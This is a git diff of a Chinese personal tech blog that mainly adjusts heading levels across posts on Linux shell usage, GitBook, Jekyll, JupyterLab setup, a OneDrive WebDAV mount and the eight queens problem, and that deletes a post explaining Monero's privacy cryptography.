**wc 打印行数、字数(单词数)和字节数**`-l`选项限制命令输出只能 报道行数。
@ -703,14 +703,14 @@ alien@localhost:~$ cat ls.txt
```
## 七、走进Shell
### 七、走进Shell
```
echo 显示一行文本
```
### echo展开
#### echo展开
**(字符)展开:**
@ -823,7 +823,7 @@ alien@localhost:~$ printenv | less
```
### 命令替换
#### 命令替换
命令替换允许我们把一个命令的输出作为一个展开模式来使用:
@ -840,7 +840,7 @@ alien@localhost:~$ file $(ls /usr/bin/* | grep zip)
```
### 引用–控制展开
#### 引用–控制展开
`\`是转义字符,经常在双引号中使用转义字符,来有选择地阻止展开。
@ -915,7 +915,7 @@ alien@localhost:~$ echo "$(cal)"
echo 命令带上 -e 选项,能够解释转义序列。**展开和引用**在Linux系统中使用非常频繁这是shell的重要特性 。
## 八、键盘高级操作技巧
### 八、键盘高级操作技巧
```
clear 清空屏幕
@ -923,7 +923,7 @@ history 显示历史列表内容
```
### 快捷键
#### 快捷键
**移动光标:**
@ -991,7 +991,7 @@ alien@localhost:~$ history | grep /usr/bin
|!string|重复最近历史列表中,以这个字符串开头的命令。
|!?string|重复最近历史列表中,包含这个字符串的命令。
## 九、权限
### 九、权限
```
id 显示用户身份号
@ -1040,7 +1040,7 @@ alien@localhost:~$ ls -l foo.txt
|w|允许写入文件内容或截断文件。但是不允许对文件进行重命名或删除,重命名或删除是由目录的属性决定的。|允许在目录下新建、删除或重命名文件前提是目录必须设置了可执行属性x
|x|允许将文件作为程序来执行,使用脚本语言编写的程序必须设置为可读才能被执行。|允许进入目录例如cd directory 。
### chmod 更改文件权限
#### chmod 更改文件权限
chmod 命令支持两种不同的方法来改变文件模式:八进制数字表示法或 符号表示法。
@ -1080,7 +1080,7 @@ alien@localhost:~$ ls -l foo.txt
|o|"others"的简写,意思是其他所有的人。
|a|“all"的简写,是"u”, "g"和“o”三者的联合。
### umask 设置默认权限
#### umask 设置默认权限
|Original file mode|— rw- rw- rw-
|------
@ -1089,7 +1089,7 @@ alien@localhost:~$ ls -l foo.txt
掩码是八进制转换为二进制后若出现一个数字1则删除文件模式中和这个1在相同位置的属性
### 更改身份
#### 更改身份
```
注销系统并以其他用户身份重新登录系统。
@ -1128,7 +1128,7 @@ alien@localhost:~$ sudo -l
```
### chown 更改文件所有者和用户组
#### chown 更改文件所有者和用户组
```
alien@localhost:~$ su
@ -1146,11 +1146,11 @@ root@localhost:/home/alien# chown [owner][:[group]] file...
|:admins|把文件用户组改为组 admins文件所有者不变。
|bob:|文件所有者改为用户 bob文件用户组改为用户 bob 登录系统时所属的用户组。
### 更改用户密码
#### 更改用户密码
`passwd [user]`
## 十、进程
### 十、进程
```
ps 报告当前进程快照
@ -1164,7 +1164,7 @@ shutdown 关机或重启系统
```
### ps查看进程
#### ps查看进程
```
alien@localhost:~$ ps
@ -1216,7 +1216,7 @@ root 2 0.0 0.0 0 0 ? S 11:25 0:00 [kthreadd]
<td align="center">RSS</td>|进程占用的物理内存的大小,以千字节为单位。
<td align="center">START</td>|进程启动的时间。若它的值超过24小时则用天表示。
### top动态查看进程
#### top动态查看进程
```
# 默认情况下,每三秒钟更新一次,top 显示结果由两部分组成: 最上面是系统概要,下面是进程列表,以 CPU 的使用率排序。
@ -1255,7 +1255,7 @@ KiB Swap: 4102140 total, 3583672 free, 518468 used. 1768020 avail Mem
top 程序接受一系列从键盘输入的命令。两个最有趣的命令是 h 和 q。h显示程序的帮助屏幕q 退出 top 程序。
### 控制进程
#### 控制进程
```
alien@localhost:~$ xlogo &amp;
@ -1335,7 +1335,7 @@ alien@localhost:~$ kill -l
```
### killall给多个进程发送信号
#### killall给多个进程发送信号
```
killall [-u user] [-signal] name...
@ -1352,7 +1352,7 @@ alien@localhost:~$
```
### 更多和进程相关的命令
#### 更多和进程相关的命令
|命令名|命令描述
|------

View File

@ -8,15 +8,15 @@
- [gitbook-use](https://github.com/zhangjikai/gitbook-use/tree/master)- [使用GitBook打造自己的出版平台](https://blog.csdn.net/ds19991999/article/details/81275458)
## 安装?
### 安装?
## 常用命令?
### 常用命令?
>
- `gitbook-cli``gitbook` 是两个软件;- `gitbook-cli` 会将下载的 gitbook 的不同版本放到 `~/.gitbook`中, 可以通过设置`GITBOOK_DIR`环境变量来指定另外的文件夹.
## 目录结构?
### 目录结构?
```
.
@ -31,7 +31,7 @@
└── something.md
```
### Summary?
#### Summary?
**示例1**以后会经常用到的
@ -83,7 +83,7 @@
* [Better tools for authors](better_tools.md)
```
### Glossary?
#### Glossary?
`GLOSSARY.md`。该文件主要存储词汇信息,如果在其他页面中出现了该文件中的词汇,鼠标放到词汇上会给出词汇示意。
@ -97,29 +97,29 @@
Aaron Swartz 跟John Gruber共同设计的排版语言
```
## book.json?
### book.json?
`book.json` 最重要,故单独作为一节。
### title设置书本的标题?
#### title设置书本的标题?
```
"title" : "Gitbook Use"
```
### author作者的相关信息?
#### author作者的相关信息?
```
"author" : "ds"
```
### description本书的简单描述?
#### description本书的简单描述?
```
"description" : "记录Gitbook的配置和一些插件的使用"
```
### languageGitbook使用的语言?
#### languageGitbook使用的语言?
版本2.6.4中可选的语言如下:
@ -133,20 +133,20 @@ en, ar, bn, cs, de, en, es, fa, fi, fr, he, it, ja, ko, no, pl, pt, ro, ru, sv,
"language" : "zh-hans",
```
### gitbook: 指定使用的gitbook版本?
#### gitbook: 指定使用的gitbook版本?
```
"gitbook" : "3.2.2",
"gitbook" : "&gt;=3.0.0"
```
### root指定根目录?
#### root指定根目录?
```
"root": "."
```
### links左侧导航栏添加链接信息?
#### links左侧导航栏添加链接信息?
```
"links" : {
@ -156,7 +156,7 @@ en, ar, bn, cs, de, en, es, fa, fi, fr, he, it, ja, ko, no, pl, pt, ro, ru, sv,
}
```
### styles自定义页面样式?
#### styles自定义页面样式?
默认情况下各`generator`对应的`css`文件:
@ -178,7 +178,7 @@ h1 , h2{
}
```
### plugins配置使用的插件?
#### plugins配置使用的插件?
```
"plugins": [
@ -192,7 +192,7 @@ h1 , h2{
]
```
### pluginsConfig配置插件的属性?
#### pluginsConfig配置插件的属性?
```
"pluginsConfig": {
@ -206,7 +206,7 @@ h1 , h2{
上面就是配置Gitbook界面那个`A`按钮的默认属性。
### structure?
#### structure?
指定 Readme、Summary、Glossary 和 Languages 对应的文件名,下面是这几个文件对应变量以及默认值:
@ -217,17 +217,17 @@ h1 , h2{
|`structure.glossary`|`Glossary file name (defaults to GLOSSARY.md)`
|`structure.languages`|`Languages file name (defaults to LANGS.md)`
## GitBook插件?
### GitBook插件?
可以指定插件的版本可以使用 `plugin@0.3.1` 下面的插件在 GitBook 的 `3.2.3` 版本中可以正常工作,[插件官网](https://plugins.gitbook.com/)。
具体介绍看这里:[https://github.com/zhangjikai/gitbook-use/blob/master/plugins.md](https://github.com/zhangjikai/gitbook-use/blob/master/plugins.md)
## 主题?
### 主题?
我们常用的就是 Book 文档模式,所以只看这部分。
### theme-default?
#### theme-default?
默认的 Book 主题。将 `showLevel` 设为 `true` 就可以显示标题前面的数字索引,默认不显示。
@ -239,7 +239,7 @@ h1 , h2{
}
```
### theme-comscore?
#### theme-comscore?
这个主题为标题添加了颜色
@ -251,4 +251,4 @@ h1 , h2{
}
```
## book.json配置文件?
### book.json配置文件?

View File

@ -3,11 +3,11 @@
# 专题:排序算法
# 专题:排序算法
## 专题:排序算法
### 文章目录
#### 文章目录
## 1、排序分类
### 1、排序分类
|算法|平均|最好|最坏|空间|稳定性
|------
@ -24,7 +24,7 @@
外部排序较为复杂,后续更新。。。
## 2、常识总结
### 2、常识总结
>
<p>助记:**快些**以

View File

@ -3,15 +3,15 @@
# 为Jekyll博客添加小功能
# 为博客添加各种功能
## 为博客添加各种功能
## 1.关于Jekyll本身插件的安装
### 1.关于Jekyll本身插件的安装
一共三种方式: <br/> * 在根目录下新建`_plugins`文件夹, 然后把对应的`*.rb`插件文件放进去就行了; <br/> * 在`_config.yml`文件中增加一个`gems`关键字, 然后把要引用的插件用数组形式存储其中即可; <br/> * 在Gemfile中添加相关的插件;
三种方法都可以, 甚至完全可以同时使用~
## 2.用kramdown自动生成目录树
### 2.用kramdown自动生成目录树
```
* 目录
@ -20,7 +20,7 @@
第一行必须加!
## 3.添加标签归档页
### 3.添加标签归档页
```
---
@ -49,7 +49,7 @@ permalink: /tags/
&lt;/ul&gt;
```
## 4.添加日期归档页
### 4.添加日期归档页
```
---
@ -75,7 +75,7 @@ title: "归档"
&lt;/ul&gt;
```
## 5.添加网易云音乐插件
### 5.添加网易云音乐插件
```
&lt;!-- cloud music --&gt;
@ -93,7 +93,7 @@ title: "归档"
{{ content }}
```
## 6.添加站点访客数及文章浏览量
### 6.添加站点访客数及文章浏览量
```
&lt;script async src="//dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"&gt;
@ -121,11 +121,11 @@ title: "归档"
&lt;/span&gt;
```
## 7.添加中英文字数统计
### 7.添加中英文字数统计
<li>英文字数统计 <br/>
</li><li>中文字数统计 <br/>
</li>
## 8.添加评论
### 8.添加评论
使用[intensedebate](https://intensedebate.com/)注册账号什么得不说了将得到的html文件即`intensedebate-comments.html`保存到`include`目录下,在`post.html`正文结束处添加:
@ -135,7 +135,7 @@ title: "归档"
{% endif %}
```
## 9.添加动态网站运行时间
### 9.添加动态网站运行时间
```
&lt;!-- 计算网站运行时间 --&gt;

View File

@ -3,7 +3,7 @@
# 了解Shell环境
## shell 环境
### shell 环境
大多数程序用配置文件来存储程序设置, 一些程序会根据环境变量来调整他们的行为。shell 在环境中存储了两种基本类型的数据Shell 变量是 bash 存放的少量数据,剩下的都是 环境变量。另外还有别名和 shell 函数。
@ -15,7 +15,7 @@ alias - 创建命令别名
```
### 检查环境变量
#### 检查环境变量
```
# printenv 命令也能够列出特定变量的数值
@ -58,7 +58,7 @@ alias ls='ls --color=auto'
<td align="center">TZ</td>|指定你所在的时区。大多数类 Unix 的系统按照协调时间时 (UTC) 来维护计算机内部的时钟 ,然后应用一个由这个变量指定的偏差来显示本地时间。
<td align="center">USER</td>|你的用户名
### 建立shell 环境
#### 建立shell 环境
登录 shell 会读取一个或多个启动文件----虚拟控制台会话:
@ -113,7 +113,7 @@ This is some text.
`export PATH`:这个 export 命令告诉 shell 让这个 shell 的子进程可以使用 PATH 变量的内容。
### 修改 shell 环境
#### 修改 shell 环境
添加目录到你的 PATH 变量或者是定义额外的环境变量,要把这些更改放置到 .bash_profile 文件中或者其替代文件中根据不同的发行版。例如Ubuntu 使用 .profile 文件)。
@ -135,7 +135,7 @@ source .bashrc
```
## 自定义Shell提示符
### 自定义Shell提示符
提示符是由一个环境变量定义的,叫做 PS1是“prompt string one” 的简写)

View File

@ -1,176 +0,0 @@
# 原创
了解门罗币
# 了解门罗币
>
参考: <br/> 1.[《区块链教程》](https://liuchengxu.gitbooks.io/blockchain-tutorial/content/) <br/> 2. [what is monero](https://blockgeeks.com/guides/what-is-monero/)
根据 [Monero门罗 官网](https://getmonero.org/): Monero 是一个安全,隐私和不可追踪的加密货币。通过使用密码学中一种特殊的方法,门罗确保了所有交易保持 100% 的不可关联和不可追溯性(unlinkable and untraceable)。
尽管 bytecoin 十分有前景,但是人们也注意到发生了很多负面的事情,并且鉴于它已经产出了 80% 的币。所以,决定将 bytocin 分叉,新链上的币叫做 Bitmonero最终被重新命名为 Monero门罗在世界语Esperanto中叫做“coin”硬币的意思。门罗的出块时间为两分钟。
门罗由一个 7 人的开发者团队领导,其中 5 人匿名,另 2 人已公开。他们是 David Latapie 和 Riccardo Spagni aka “Fluffypony”。项目是开源众筹的形式进行。
## 门罗的特别之处
门罗采用CrytoNote算法使得它具有以下几个特性。
加密货币中理想的可替代性是什么?
>
以 [bitcoin](https://blockgeeks.com/guides/what-is-bitcoin-a-step-by-step-guide/) 为例它引以为豪的一点就是比特币是开放的账本但是这也意味着每个人都可以看到里面的每一笔交易更重要的是每个人都可以看到交易的踪迹。简单来说如果你拥有一个曾经用于某个非法交易的比特币比如购买毒品那么它的交易细节里面将会永远有这样的印记。实际上这“污染taint”了你的比特币。
在某些比特币服务提供商和交易所中这些“被污染”的币与“干净的”币永远都不会被一视同仁。这就泯灭了可替换性fungibility这也是比特币经常为人所诟病的一点。毕竟为什么别人做了错事需要你来买单呢
于是门罗诞生了。由于所有数据和交易都是不公开的,没有人能够知道你的门罗币在之前经历了哪些交易,也无法知道你的门罗币会用来购买什么。
## 加密货币交易的工作方式
假设 Alice 需要给 Bob 发送一些比特币,交易看起来是怎样的?
### 交易输入
每个币都来源于之前的交易。所以Alice 可以将之前交易的输出作为新交易的输入。Alice 需要从下列交易从获得输入,比如 TX(0), TX(1) 和 TX(2)。这三笔交易会被一起包含到这笔交易,并有一个交易输出 TX(Input)。
### 交易输出
输出就是 Bob 可以在之后交易花费的钱,也可能会出现找零,找零会返回给 Alice。找零会成为 Alice 未来任意交易的输入。
有了公钥加密以后,比特币交易才成为可能。为了对它有一个基本的理解,请看下图:
比特币用户首先选择私钥,公钥由私钥衍生而来。将公钥进行哈希得到一个公开的地址公布出去。如果 Alice 要给 Bob 发送 BTCAlice 直接给 Bob 公开的地址发送即可。
门罗团队给出的“电子现金三角Electronic cash triangle
正如他们所说,一个理想的电子现金应该满足三个前提:**电子的、去中心化的、隐私的**
门罗背后的哲学就是完全隐私和不透明性。发送方隐私由环签名Ring Signature实现。
## 门罗密码学
### Ring Signatures
环签名,简单来说就是交易过程中把几个人签名混合在一起,然后得到一个独一无二的签名,这样就没人知道这个签名是否是你本人的。
假设Alice 发送 1000 XMR(XMR 即门罗币) 给 Bob系统会如何使用环签名来隐藏她的身份
首先Alice 会确认她的“ring size环大小”。ring size 是取自区块链的随机输出,它等于 Alice 的输出值,即 1000 XMR。ring size 越大,交易越大,继而交易费越高。然后,她用 private spend key 对输出进行签名并发给到区块链。另一点要注意的是Alice 不需要向之前交易的所有者发送请求来使用这些输出。
假设 Alice 选择的 ring size 为 5 ,也就是说 4 个 decoy output诱骗输出 和它自己的交易,从外面看起来就像这样:
在一个环签名交易中,任意一个 decoy 就像真实输出一样,因为任何不相关的第三方(包括矿工)都无法知道发送方是谁。
**防止双花:**
矿工要做的一个重要的事情就是防止“双花”。双花就是指在同一时间,同一笔钱出现在两笔,甚至更多的交易中。双花被矿工所解决。在一个区块链中,只有当矿工将交易包含在区块并出块,交易才算完成。假设 A 打算给 B 发送一个比特币,然后它发送同样一个币给 C矿工会把其中一笔交易放到块里并在处理过程中覆盖另一笔交易防止双花。但是在门罗中由于环签名这些都是不可见的。那么要如何防止双花呢
门罗的每一笔交易都有它自己的唯一的**密钥镜像key image**,鉴于密钥镜像对于每个交易都是不同的,矿工就可以非常容易地检测,判断是否双花。
### stealth address
门罗的最大一个卖点就是交易的不可关联性unlinkability。基本上如果有人发送给你 200 XMR应该没有人知道这笔钱是发送给你的。如果 Alice 要给 Bob 发送门罗币,除了 Alice应该没人任何人知道 Bob 就是这笔钱的接收者。
**门罗要如何保证 Bob 的隐私?**
Bob 有两个 public keypublic view key 和 public send key。为了推进交易Alice 的钱包会用 Bob 的 public view key 和 public send key 来生成一次性独一无二的 public key。
**one-time public key P 的计算方式:**
P=H(rA)G+B
P
=
H
(
r
A
)
G
+
B
其中:
由这种方法生成一次性公钥然后再生成在区块链里一次性的公开地址这样的地址就叫做“stealth address”Alice 就通过它给 Bob 发送门罗币。现在Bob 要如何从数据的随机分布中解锁收到的门罗币呢?
Bob 也有一个 private spend key。private spend key 就是用来帮助 Bob 扫描区块链找到他的相关交易。当 Bob 找到这笔交易,他可以通过一个 private key 取回他的门罗币,这个 private key 与一次性的 public key 相关。因此 Alice 付给 Bob 门罗币,无人知晓。
**key image**
计算方式:
I=xH(P)
I
=
x
H
(
P
)
从 key image “I” 计算出一次性的 public address P 十分困难(这是密码学哈希函数的一个属性,正着算很容易,反推很难),因此 Alice 的身份永远也不会暴露。
当 P 被哈希的时候,永远都会返回同一个值,意味着 H(P) 也总是同一个值。既然 x 的值对于 Alice 来说是个常数,她也就是永远也无法生成多个 I 值。这使得 key image 对于每一笔交易都是不同的。
### Ring Confidential Transactions
基于 Gergory Maxwell 的研究实现了 Ring CTRing CT保证了交易本身的匿名性它在链上隐藏了交易的数额。这也意味着所有的交易输入都不需要再被拆分为已知的面额钱包现在可以从任意的 Ring CT 输出中选择 ring 成员。
环形加密技术的基础仍旧是与比特币一样的基于Hash值的公钥+私钥加解机制。只是比特币是用接受者的公钥加密,接受者用与之配对的私钥解密验证。而环形加密则使用了多个公钥进行加密,并用接受者的私钥进行解密验证。
#### Kovri and I2P
I2P 是一个路由系统它能够让应用秘密地互相发送信息而无须任何外部干涉。Kovri 是 I2P 的 C++ 实现,它也会被集成到门罗里面。**Kovri 将会隐藏你的网络流量**,如此一来,被动的网络监控就根本不会暴露你正在使用门罗。为此,你的所有门罗流量将会被加密并通过 I2P 节点路由。节点就像瞎的看门人,它们会知道你的信息通过,但是**不知道这些去向哪儿以及信息的具体内容**。
### 门罗价值和市值
目前XMR流通市值$1,522,148,966流通量16,335,709 XMR每个XMR¥637占全球总市场0.7%排名10。门罗总量为 1840 万,挖矿奖励会持续到 2022 年 5 月 31。之后系统设定为 0.3 XMR/min 的奖励。这是为了矿工能过持续的激励挖矿,而不仅仅依赖于交易费,毕竟门罗已经被挖完了。
### 门罗的优势与劣势
### 优势
### 劣势
**毫无疑问,未来会更加开放和去中心化,门罗也会因其隐私性而越具吸引力。特别有趣之处在于,它是少数几个不是基于比特币的币,却是同时有着真正价值的“潜力股”。对门罗来说,随着它已经经历了惊人的增长,未来依旧光明一片。当实现 Kovri 以后,相信一切会变得更加有趣.**
相关链接:[cryptonote系统](https://github.com/cryptonotefoundation/cryptonote) 、[monero](https://getmonero.org/)、[了解门罗币](https://www.ds-vip.top/%E5%8C%BA%E5%9D%97%E9%93%BE/2018/08/21/start-monero/)

View File

@ -3,13 +3,13 @@
# 云服务器搭建神器JupyterLab多图
# 云服务器搭建神器JupyterLab多图
## 云服务器搭建神器JupyterLab多图
>
[`JupyterLab`](https://github.com/jupyterlab/jupyterlab)是一个交互式的开发环境,其用于应对包含着`notebook`、代码以及数据的工作场景。
## 1、前言
### 1、前言
**如果说`vim`是编辑器之神,那么`JupyterLab`就是笔记本之神。**
@ -17,11 +17,11 @@
好的工具当然是要好好利用了,回归正题,怎样通过云服务器搭建一个可远程使用的`JupyterLab`?
## 2、购买云服务器`ECS`
### 2、购买云服务器`ECS`
这里我就直接买了阿里的学生优惠的`ECS`9.9元/月,价格算是良心了,这里可以领一下优惠券:[阿里云限时礼包](https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=vya2etaw)。亚马逊还有每个账户免费使用一年云服务器的机会,也可以用一用。购买之后创建实例,启动云服务器,我这里用的是`Ubuntu 16.04`镜像,记住你设置的`root`密码。如果没有特殊要求,可以直接使用`root`用户进行下面操作,不必新建用户。
## 3、登录ECS并安装必要软件
### 3、登录ECS并安装必要软件
```
sudo apt-get install ssh
@ -31,7 +31,7 @@ ssh root@公网ip
这个ip是公网ip在你购买的服务器运营商的实例列表里如果不出意外就可以登录ECS了。
### 3.1 先做好准备工作
#### 3.1 先做好准备工作
比喻你添加ppa源的时候出现这种情况
@ -48,9 +48,9 @@ sudo apt-get install software-properties-common
```
### 3.2 关于`pip`的问题
#### 3.2 关于`pip`的问题
#### 安装pip
##### 安装pip
```
sudo apt-get install python-pip python-dev build-essential
@ -84,7 +84,7 @@ sudo apt-get install python-pip
```
#### 升级`pip`
##### 升级`pip`
```
sudo pip3 install --upgrade pip
@ -93,7 +93,7 @@ sudo pip install --upgrade pip
```
#### 更换`pip`源加速下载
##### 更换`pip`源加速下载
```
cat &gt; ~/.pip/pip.conf
@ -106,7 +106,7 @@ index-url = https://pypi.tuna.tsinghua.edu.cn/simple
`pip`国内的一些镜像包,换源之后出现`python2`版本过低的情况导致以前的包下载不了,那就直接将文件夹`~/.pip/pip.conf`删除就可以恢复原来的源。
#### `pip`指向问题
##### `pip`指向问题
有时候会出现`pip,pip2,pip3`都TM指向`python2`,这个之后就需要改一下这这三个文件。
@ -124,9 +124,9 @@ index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
### 3.3 安装`yarn`和`nodejs`
#### 3.3 安装`yarn`和`nodejs`
#### 配置仓库
##### 配置仓库
```
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
@ -134,7 +134,7 @@ echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/source
```
#### 安装`yarn`
##### 安装`yarn`
```
sudo apt-get update
@ -144,7 +144,7 @@ sudo apt-get install yarn
注意这里`yarn`自动安装了`nodejs`,不过版本太低,安装`jupyterlab`的时候会出问题,而且使用`n`或者`nvm`安装的`nodejs`也有问题,总之`nodejs`要按照下面这种方式就没事,这个是官方的`bug`,官方`issue`也提到过,但是目前还未解决。
#### 安装`nodejs`
##### 安装`nodejs`
创建一个新文件,输入两行`deb`,结束之后`Ctrl+C`:
@ -166,11 +166,11 @@ nodejs --version
```
#### 安装`ipython,matplotlib,scipy,pandas,numpy`
##### 安装`ipython,matplotlib,scipy,pandas,numpy`
最好`python2`和`python3`都安装。
## 4、安装`JupyterLab`及其配置
### 4、安装`JupyterLab`及其配置
记住使用`pip2`安装,如果你用`pip3`安装的话可能会出现版本兼容问题。
@ -186,7 +186,7 @@ jupyter-notebook password
```
### 4.1 创建哈希密码
#### 4.1 创建哈希密码
```
ipython
@ -198,7 +198,7 @@ passwd()
```
### 4.2 修改`JupyterLab`配置文件
#### 4.2 修改`JupyterLab`配置文件
先生成一个配置文件,记下输出的配置文件地址
@ -242,11 +242,11 @@ jupyter lab build
`jupyter lab build`时间有点久,如果没报错就成功了。但此时你还不能访问`JupyterLab`,还需要添加端口规则,也就是所谓的添加安全组。
## 5、添加安全组
### 5、添加安全组
<img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102230911.png"/><br/> 去ECS控制台添加安全组不然你无法通过本地浏览器访问`JupyterLab`,设置`8080`端口入方向。<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102231126.png"/>
## 远程访问`JupyterLab`
### 远程访问`JupyterLab`
运行下面命令。
@ -259,7 +259,7 @@ nohup jupyter lab &amp;
浏览器输入`公网ip:8080`,就可以访问你的`JupyterLab`了,第一次访问比较慢,耐心一点,如果最终还是无法访问,那么就是你的安全组配置错啦。<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102231458.png"/><br/> 输入密码就可以用了。
## 6、`JupyterLab`扩展安装
### 6、`JupyterLab`扩展安装
查看已经安装的扩展及其状态:
@ -291,7 +291,7 @@ jupyter labextension update --all
下面以安装[GitHub](https://github.com/jupyterlab/jupyterlab-github)扩展为例。
### 安装`GitHub`扩展
#### 安装`GitHub`扩展
先去`GitHub`生成一个`token`,记下`token`,待会儿配置要用。
@ -312,7 +312,7 @@ c.GitHubConfig.access_token = '&lt; YOUR_ACCESS_TOKEN &gt;'
需要其他扩展的在[GitHub](https://github.com/)可以自行下载。<br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo20181102234041.png"/>
## 7、内核安装与卸载
### 7、内核安装与卸载
安装Python内核
@ -339,13 +339,13 @@ jupyter kernelspec remove &lt;kernel_name&gt;
```
## 8、域名和`https`配置
### 8、域名和`https`配置
域名和SSL配置可以参考这两篇文章
其实为觉得没必要,毕竟是个人用的工具,没必要搞个域名,不过强迫症就另说了。具体效果是这样的:
## 9、结语
### 9、结语
`JupyterLab`的搭建就是这么简单,好的工具就应该好好利用,支持做图,`markdown`,多标签,内部打开网页,`latex`,网页预览,这么好的工具我应该早点发现呀。最后,以秀图结束本文,多多指教!

View File

@ -5,68 +5,8 @@
玩`OneDrive`的时候,有时候会遇到没有`API`权限的帐号,这个时候我们就不能使用`rclone`挂载`OneDrive`,其他第三方也不行,这就有点难受了。<br/> 不过,我们还有另一种方式挂载,也就是以`WebDav`的方式挂载。<br/>
### 文章目录
#### 文章目录
## 1、get cookie
### 1、get cookie
网页登陆你的`OneDrive`。<br/> <img alt="mark" src="http://image.creat.kim/image/20190116/CpLEwlB3bCt1.png?imageslim"/><br/> 我们要拿到的就是如图所示的`FedAuth`和`rtFa`两个`cookie`的`Value`值,比较长的一串。**注意`Cookie`下的那几个网址选带有`sharepoint.com`的那个。**
拿到这两个值就可以进行下面的操作了。
## 2、install and config
### step1:
```
apt-get install davfs2
```
### step2:
IF Mount PATH: `/root/WebDav`
```
vi /etc/davfs2/davfs2.conf
add:
[/root/WebDav/] # Mount PATH
ask_auth 0
add_header Cookie rtFa=XXXXXX;FedAuth=YYYYYY #Value
```
### revise url:
```
https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/_layouts/15/onedrive.aspx
to
https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents
```
## 3、mount
```
mount.davfs -o rw "https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents" /root/WebDav
```
## 4、check
```
df -h
```
like this:
```
https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents 1.3T 763G 509G 61% /root/WebDav
......
```
**Enjoy it!**
网页登陆你的`OneDrive`。<br/> <img alt="mark" src="http://image.creat.kim/image/20190116/CpLEwlB3bCt1.png?imageslim"/><br/> 我们要拿到的就是如图所示的`FedAuth`和`rt`

View File

@ -3,7 +3,7 @@
# 八皇后问题
# 八皇后问题
## 八皇后问题
>
参考:维基百科[八皇后问题](https://zh.wikipedia.org/wiki/%E5%85%AB%E7%9A%87%E5%90%8E%E9%97%AE%E9%A2%98)
@ -11,11 +11,11 @@
**八皇后问题**是一个以国际象棋为背景的问题如何能够在8×8的国际象棋棋盘上放置八个皇后使得任何一个皇后都无法直接吃掉其他的皇后为了达到此目的任两个皇后都不能处于同一条**横行、纵行或斜线**上。八皇后问题可以推广为更一般的**n皇后摆放问题**:这时棋盘的大小变为**n**×**n**,而皇后个数也变成**n**。**当且仅当**n** = 1或**n** ≥ 4时问题有解。**维基百科给出了很详细的解答。
## 状态表示
### 状态表示
用元祖或列表表示一个解决方案state[0]==3表示第一行的皇后在第四列上。当递归到某一层面只知道上一行的皇后状态因此需要一个长度小于8的状态元组
## 条件限定
### 条件限定
```
def conflict(state,nextX):
@ -27,7 +27,7 @@ def conflict(state,nextX):
```
## 基本情况
### 基本情况
```
# 如果只有最后一个皇后没有放置,那么遍历它所有可能的位置,返回没有冲突的位置
@ -44,7 +44,7 @@ def queens(num=8,state=()):
```
## 打包
### 打包
```
def prettyprint(solution):

View File

@ -5,7 +5,7 @@
个人博客已经开通:[https://ds19991999.github.io](https://ds19991999.github.io),欢迎访问
# 1.基本实现
## 1.基本实现
1. 在github上建库库名必须是usrname.github.com,usr必须是你github账号的用户名1. 在Jekyll上面选择喜欢的模板下载到本地以Bef为例1. Git操作建议使用客户端Git命令行操作
```
//1.打开git bash配置用户名和邮件
@ -40,13 +40,13 @@ git push origin 要提交的分支名称(一般是master) //将本地仓库推
4.访问自己的博客主页 <br/> [https://usrname.github.io](https://usrname.github.io),比喻我的:[https://ds19991999.github.io](https://ds19991999.github.io)
# 2.关于GitHub Pages
## 2.关于GitHub Pages
GitHub Pages 是 GitHub 面向用户、组织和项目开放的公共静态页面搭建托管服 <br/> 务,允许站内生成网页,也允许用户自己编写网页,然后上传。站点可以被免 <br/> 费托管在 GitHub 上,可以选择使用 GitHub Pages 默认提供的域名 github.io <br/> 或者自定义域名来发布站点。GitHub Pages 支持自动利用 Jekyll 生成站点, <br/> GitHub Pages 可以被认为是用户编写的、托管在 GitHub 上的静态网页。
搭建中小型 Blog特别是个人博客确实是个很好的选择。既拥有绝对管理权 <br/> 又享受 GitHub 带来的便利更主要的是这一切是免费的GitHub 提供无限流量.
# 3.关于Jekyll的结构
## 3.关于Jekyll的结构
```
|-- _config.yml
@ -61,47 +61,47 @@ GitHub Pages 是 GitHub 面向用户、组织和项目开放的公共静态页
`-- index.html
```
## _config.yml
### _config.yml
配置文件,用来定义你想要的效果,设置之后就不用关心了。
## _includes
### _includes
## _layouts
### _layouts
模板文件存放的位置。模板需要通过[YAML front matter](https://github.com/jekyll/jekyll/wiki/YAML-Front-Matter)来定义 <br/> 来定义,{ { content }}标记用来将数据插入到这些模板中来。
发布的文章会根据文章顶部的 yaml 文件头来设置一些元数据,如 layout:default表示该文章的模板使用 _layouts 目录下的 post.html 文件title:,表示该文章的标题,如果不设置这个值,默认使用嵌入文件名的标题等等。
## _posts
### _posts
你的动态内容,一般来说就是你的博客正文存放的文件夹。他的命名有严格的规定,必须是**2012-02-22-artical-title.MARKUP**这样的形式, <br/> MARKUP是你所使用标记语言的文件后缀名根据_config.yml中设定的链接规则可以根据你的文件名灵活调整文章的日期和标记语言后缀与文章的标题是独立的。
在博客上发布文章的时候,只需要在此文件夹中加入带有 YAML 头信息的 MarkDown 文件,然后 push 到 GitHub就会被自动渲染成 HTML。
## _site
### _site
这个是Jekyll生成的最终的文档不用去关心。最好把他放在你的.gitignore文件中忽略它。
## 其他文件夹
### 其他文件夹
你可以创建任何的文件夹,在根目录下面也可以创建任何文件,假设你创建了project文件夹下面有一个github-pages.md的文件,那么你就可以通过yoursite.com/project/github-pages访问的到如果你是使用一级域名的话。
# 4.Jekyll的配置
## 4.Jekyll的配置
配置文件在_config.yml文件中不必一一追究了需要的可以参考官方文档[关于Jekyll配置的官方文档](https://github.com/jekyll/jekyll/wiki),但Permalink和自定义项这两个很重要。
## `Permalink`
### `Permalink`
